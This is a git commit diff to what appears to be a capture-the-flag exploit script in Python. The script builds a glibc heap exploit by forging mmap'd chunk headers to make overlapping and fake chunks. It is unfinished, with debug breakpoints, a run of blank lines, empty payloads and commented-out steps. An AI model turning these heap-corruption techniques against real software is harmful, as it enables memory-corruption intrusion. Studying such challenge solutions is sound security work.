commit 3c435dfcc5fe5e96aac49b5bf73bd5be87fcb7ef
parent 3fdfc3ca2fbe9e92a472ae55009d80eaf175174b
Author: Louis Burda <quent.burda@gmail.com>
Date: Sat, 27 Apr 2024 02:06:16 +0200
Snapshot of insanity
Diffstat:
M | solve/solve | | | 174 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------------------ |
1 file changed, 134 insertions(+), 40 deletions(-)
diff --git a/solve/solve b/solve/solve
@@ -60,8 +60,8 @@ def flipv(index, offset, value):
def adj(size):
return size - 2 - 0x10 # malloc header + align
-#def mmap_adj(size):
-# return size - 2 - 0x1000 # page aligned malloc header
+def mmap_adj(size):
+ return size - 2 - 0x1000 # page aligned malloc header
def align_up(size, align):
if size % align != 0:
@@ -81,6 +81,7 @@ def flat(attrs, length):
pgsize = 0x1000
# get_delim will alloc in powers of 2 starting at 0x78
+small_size = 0x78 + 0x8
mmap_size_1 = 0x78 * 2 ** 11 + pgsize
mmap_size_2 = 0x78 * 2 ** 12 + pgsize
mmap_size_3 = 0x78 * 2 ** 13 + pgsize
@@ -93,70 +94,163 @@ gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set de
+ ' -ex "target remote localhost:1025" -ex "b main" -ex "continue"'
run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False)
-mmap_threshold_max = 0x400000
+# Prepare some low indexes for later.
+chain_head = alloc(cc() * adj(small_size))
+overlap1 = alloc(cc() * adj(small_size))
+overlap2 = alloc(cc() * adj(small_size))
+fake = alloc(cc() * adj(small_size))
-mmap_size_1 = 0x2000000
-mmap_size_2 = 0x4000000
+# Use chain of small mmap'd chunks to manage memory while avoiding
+# increasing mmap_threshold by not free'ing large chunks directly,
+# but freeing small chunks (2 * mmap_size_1) in a cascaded chain.
-def mmap_adj(size):
- assert(size > mmap_threshold_max) # single bit
- mmap_sizes = (0x78 * 2 ** i - 2 for i in reversed(range(25)))
- return next(filter(lambda s: s > mmap_threshold_max and s < size, mmap_sizes))
+chain_len = 10
+chain = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(chain_len)][::-1]
-print("MMAP1", hex(mmap_size_1), hex(mmap_adj(mmap_size_1)))
-print("MMAP2", hex(mmap_size_2), hex(mmap_adj(mmap_size_2)))
+free(chain[0])
+free(chain_head)
+link_payload = flat({ mmap_size_1 - 8: p64(mmap_size_3^0b010) }, mmap_adj(mmap_size_3))
+chain_head = alloc(link_payload)
-_ = alloc(cc() * 0x10000000)
-free(_)
+def clear():
+ edit(chain_head, link_payload)
+ prev = chain_head
+ for i in range(chain_len):
+ free(prev)
+ prev = grid[i] = alloc(link_payload)
+ global grid
-back = alloc(cc() * 0x10)
-_ = alloc(cc() * mmap_adj(mmap_size_1))
-front = alloc(cc() * mmap_adj(mmap_size_1))
+clear()
+
embed()
-free(front)
-free(back)
-adjust = 0x5000
-assert(back == alloc(flat({
- mmap_size_2 - mmap_size_1 - 8: p64((mmap_size_1 + adjust)^0b010)
-}, mmap_adj(mmap_size_2))))
-embed()
-free(front)
-assert(front == alloc(cc() * mmap_adj(mmap_size_1)))
-free(back)
-embed()
-# Prepare some low indexes for later.
-fake = alloc(cc() * 0x10)
-overlap1 = alloc(cc() * 0x10)
-overlap2 = alloc(cc() * 0x10)
-# Also allocate a tcache sized chunk for later.
-head = alloc(cc() * adj(tcache_size))
-# Setup filler chunks.
-adjust = 0x5000
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+embed()
+
+# Setup grid.
grid_size = mmap_size_1
-grid = [alloc(cc() * mmap_adj(grid_size)) for _ in range(6)]
-list(map(free, reversed(grid[adjust // grid_size:])))
+grid = [alloc(cc() * mmap_adj(grid_size)) for _ in range(6)][::-1]
+list(map(free, grid))
+def fixup(addr, start, value):
+ global grid, overlap1, overlap2
+ assert(addr > start - mmap_size_3)
+ offset = addr - start - mmap_size_3
+ free(overlap1)
+ assert(overlap1 == alloc(flat({ offset: value }, mmap_size_3)))
+ free(overlap1)
+ overlap1 = alloc(cc() * adj(small_size))
+
+adjust = 0x5000
+
+fixup(-grid_size-8, 0, p64(adjust^0b010))
+
+free(grid[-1])
+left = grid_size - adjust
+
+free(fake)
+fake = alloc(mmap_size_3)
+free(fake)
+fixup(-mmap_size_3-left-8, -left, p64(tcache_size^0b001))
+
+def make_fake(target, offset, size):
+ global grid, overlap1, overlap2
+
+ grid_left = offset // grid_size
+ list(map(free, grid[-grid_left:]))
+
+ offset_1 = grid_size - (offset % grid_size)
+ if grid_left % grid_size != 0:
+ free(overlap1)
+ assert(overlap1 == alloc(flat({
+ mmap_size_3 - grid_size - 8: p64(offset_1^0b010)
+ }, mmap_adj(mmap_size_3))))
+ free(overlap1)
+ overlap1 = alloc(cc() * adj(small_size))
+ grid[-grid_left-1]
+
+ free(target)
+ assert(target == alloc(flat({
+
+ }, mmap_adj(mmap_size_3))))
+
+ free(overlap2)
+ #offset_2 = offset_1 + mmap_size_3
+ #overlap2 = alloc(flat({
+ # grid_size offset_2
+ #}, mmap_adj(mmap_size_1)))
+
+ return target
+
+fake = make_fake(fake, 0x5000, mmap_size_3)
+free(fake)
overlap_size = mmap_size_3
+overlap_left = grid_size - adjust % grid_size
free(overlap1)
-overlap = alloc(flat({
+overlap1 = alloc(flat({
overlap_size - grid_size - 16: p64(0),
- overlap_size - grid_size - 8: p64(grid_size - adjust % grid_size)
+ overlap_size - grid_size - 8: p64(overlap_left)
}, overlap_size))
+free(overlap2)
overlap2 = alloc(flat({
- grid_size - (overlap_size % grid_size) - 8: p64(overlap_size)
+ grid_size - (overlap_size % grid_size) - 8: p64(overlap_size - overlap_left)
}, grid_size))
+free(grid[(adjust//grid_size)-1]) # free overlap_left
+free(overlap2) # free overlap
+
embed()
# Alloc large chunk to overlap freed filler chunks.